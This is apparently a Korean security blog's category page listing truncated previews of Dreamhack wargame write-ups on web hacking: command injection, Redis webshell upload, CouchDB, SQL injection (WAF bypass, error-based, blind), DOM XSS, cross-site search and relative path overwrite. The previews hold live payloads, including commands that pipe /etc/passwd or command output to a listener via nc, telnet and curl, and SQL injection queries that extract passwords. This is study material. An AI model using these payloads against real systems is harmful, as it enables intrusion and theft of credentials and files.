security 183

Linux Command Injection Technique 정리

실행 결과를 확인할 수 없는 Command Injection 환경에서의 공격방법 1. Network Outbound 네트워크 도구를 서버에 설치할 수 있거나 설치되어있을 때 - nc(netcat), telnet 이용 cat /etc/passwd | nc 127.0.0.1 8000 cat /etc/passwd | telnet 127.0.0.1 8000 * 파이프와 함께 명령어의 실행 결과를 네트워크로 전송할 수 있음 - curl / wget 이용 curl "http://127.0.0.1:8080/?$(ls -al|base64 -w0)" // GET 요청 curl http://127.0.0.1:8080/ -d "$(ls -al)" // POST 요청 wget http://127.0.0.1:8080 --met..

security/웹해킹 2023.07.15

[Dreamhack Wargame] phpMyRedis + .rdb 파일을 이용한 웹쉘 업로드

Redis 명령어 - 데이터 조작 명령어 GET GET key 데이터 조회 MGET MGET key [key ...] 여러 데이터를 조회 SET SET key value 새로운 데이터 추가 MSET MSET key value [key value ...] 여러 데이터를 추가 DEL DEL key [key ...] 데이터 삭제 EXISTS EXISTS key [key ...] 데이터 유무 확인 - php에서 데이터 조작 명령어 사용하는 방법 1. get(), set() 함수 이용 $redis = new Redis(); $redis->connect($REDIS_HOST); $key = "test_key"; $val = "test_val"; $redis->set($key, $val); # SET $key $va..

security/웹해킹 2023.07.15

[Dreamhack Wargame] NoSQL-CouchDB

CouchDB - HTTP 기반의 서버로 동작, HTTP 메소드를 사용해 요청을 받고 처리함 - users 데이터베이스에 (guest) 값 추가: body에 추가하고자 하는 data 넣어서 POST/PUT 요청 보냄 $ curl -X PUT http://{username}:{password}@localhost:5984/users/guest -d '{"upw":"guest"}' {"ok":true,"id":"guest","rev":"1-22a458e50cf189b17d50eeb295231896"} - users 데이터베이스의 값 조회: GET 요청 보냄 $ curl http://{username}:{password}@localhost:5984/users/guest {"_id":"guest","_rev":"..

security/웹해킹 2023.07.15

[Dreamhack Wargame] SQL Injection Bypass WAF 1, 2

시스템/DB 정보 획득 방법 (MySQL) - 데이터베이스 모습 확인 // 초기 DB = information_schema, mysql, performance_schema, sys // DB와 schema가 동일함 mysql> show databases; /* +--------------------+ | Database | +--------------------+ | information_schema | | DREAMHACK | # 이용자 정의 데이터베이스 | mysql | | performance_schema | | sys | +--------------------+ */ - 스키마, 테이블, 컬럼 정보 확인하기 mysql> select TABLE_SCHEMA from information_schema..

security/웹해킹 2023.07.15

[Dreamhack Wargame] Error Based SQL Injection

Error Based SQL Injection Technique - extractvalue() 함수 이용 // 디버그 모드가 활성화된 서버에 한해 오류 발생 시 원인 출력됨 // extractvalue 함수는 XML 데이터(1st param)에서 XPATH 식(2st param)을 통해 데이터 추출함 // 올바르지 않는 XPATH 식일 경우 에러 메시지와 함께 잘못된 XPATH 식을 출력해줌 SELECT extractvalue(1,concat(':',version())); -- ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log' SELECT extractvalue(1,concat(':',(SELECT upw FROM users W..

security/웹해킹 2023.07.14

[Dreamhack Wargame] Blind SQL Injection Advanced

SQL Injection Techniques - UNION: 앞과 뒤의 컬럼의 개수가 동일해야 함 (일부 DBMS에서는 컬럼 타입까지 check) SELECT * FROM users UNION SELECT upw, 1 from users where uid='admin';-- - 서브쿼리: 한 쿼리 내에 또 다른 쿼리를 사용 (다른 테이블에 접근하거나 SELECT 구문 추가로 사용 가능) SELECT * FROM users WHERE username IN (SELECT "admin" UNION SELECT "guest"); - if문: 비교 구문을 이용해 data leak 가 SELECT uid FROM users WHERE uid='DUMMY' UNION SELECT if(substr(upw,1,1)='..

security/웹해킹 2023.07.14

[Dreamhack Wargame] DOM XSS

Document Object Model (DOM) - 웹 페이지에 대한 프로그래밍 인터페이스 - 웹 개발자가 작성한 웹 문서는 브라우저에서 파싱되어 DOM으로 표현됨 - 자바스크립트가 웹 문서에 접근할 때에는 DOM을 통해 접근하게 되며, DOM에서 제공하는 API 사용 - DOM 내에서 웹 개발자가 작성한 HTML 문서는 트리 형태가 되어 노드로 표현됨 var elem = document.getElementById("name"); elem.innerText = "My name is minseo"; DOM Clobbering XSS - id, name 등 HTML에서 이용되는 속성을 이용해 자바스크립트에서 접근 가능한 DOM 객체들의 속성 및 메소드 등을 변조하는 공격 기법 - HTML injection..

security/웹해킹 2023.07.09

[Dreamhack Wargame] CS-Search

Cross-Site Search (CS-Search) - 다른 오리진에 요청을 보내고 응답값을 읽어오는 것은 Same Origin Policy 정책에 위반되기 때문에 일반적으로 불가능 - 브라우저에서 예외적으로 외부 출처에 대한 접근을 허용해주는 경우 (SOP 영향 x) = ' if not read_url(url): return '' return '' - 전달해준 url scheme은 http 혹은 https:// 여야 한다 - 개인 서버에 exploit 파일 업로드해놓고 거기 접속하도록 하여 스크립트 내용 실행 취약점 분석 사용할 태그 결정 - iframe 태그를 이용해 SOP를 위반하지 않고 다른 오리진에 요청을 보내보자 - iframe/frame 태그의 경우 contentWindow property..

security/웹해킹 2023.07.09

[Dreamhack Wargame] Relative Path Overwrite Advanced

문제 분석 - /index.php, /report.php * 지난 문제와 동일 - /static/filter.js : var filter = ["script", "on", "frame", "object"]; - /vuln.php 취약점: 상대경로로 스크립트 파일 불러옴(RPO 위험) , innerHTML을 이용해 user-input 받아옴 (XSS 위험) if (typeof filter === 'undefined') 통과하고 filter 안의 단어들 필터링도 통과해야 user input을 넣을 수 있음 => 이런 이벤트핸들러 기반 XSS 발생시키자 - 000-default.conf RewriteEngine on RewriteRule ^/(.*)\.(js|css)$ /static/$1 [L] ErrorDo..

security/웹해킹 2023.07.07

[Dreamhack Wargame] Relative Path Overwrite + RPO 기법 정리

RPO (Relative Path Overwrite) 기법 - 서버와 브라우저가 상대 경로를 해석하는 과정에서 발생하는 차이점을 이용한 공격 - 브라우저는 서버의 파일시스템에 접근할 수 없기 때문에 주어진 경로가 정상적인 경로인지를 구분할 수 없음 RPO 발생 가능 조건 - URL Rewrite 적용되어있는 사이트 = 웹 어플리케이션 스크립트명 이하의 경로를 별도로 지정해도 같은 페이지가 조회되는 경우 ex) /index.php 하위에 새로운 경로 추가해 요청 보냈을 때 => 서버는 /index.php 페이지를 리턴 (하위 요소를 경로가 아니라 파라미터로 인식) => 브라우저 입장에서는 URL 경로 중 어디부터가 파라미터인지 구분 불가, 전체를 경로로 인식 /index.php /index.php/ /in..

security/웹해킹 2023.07.07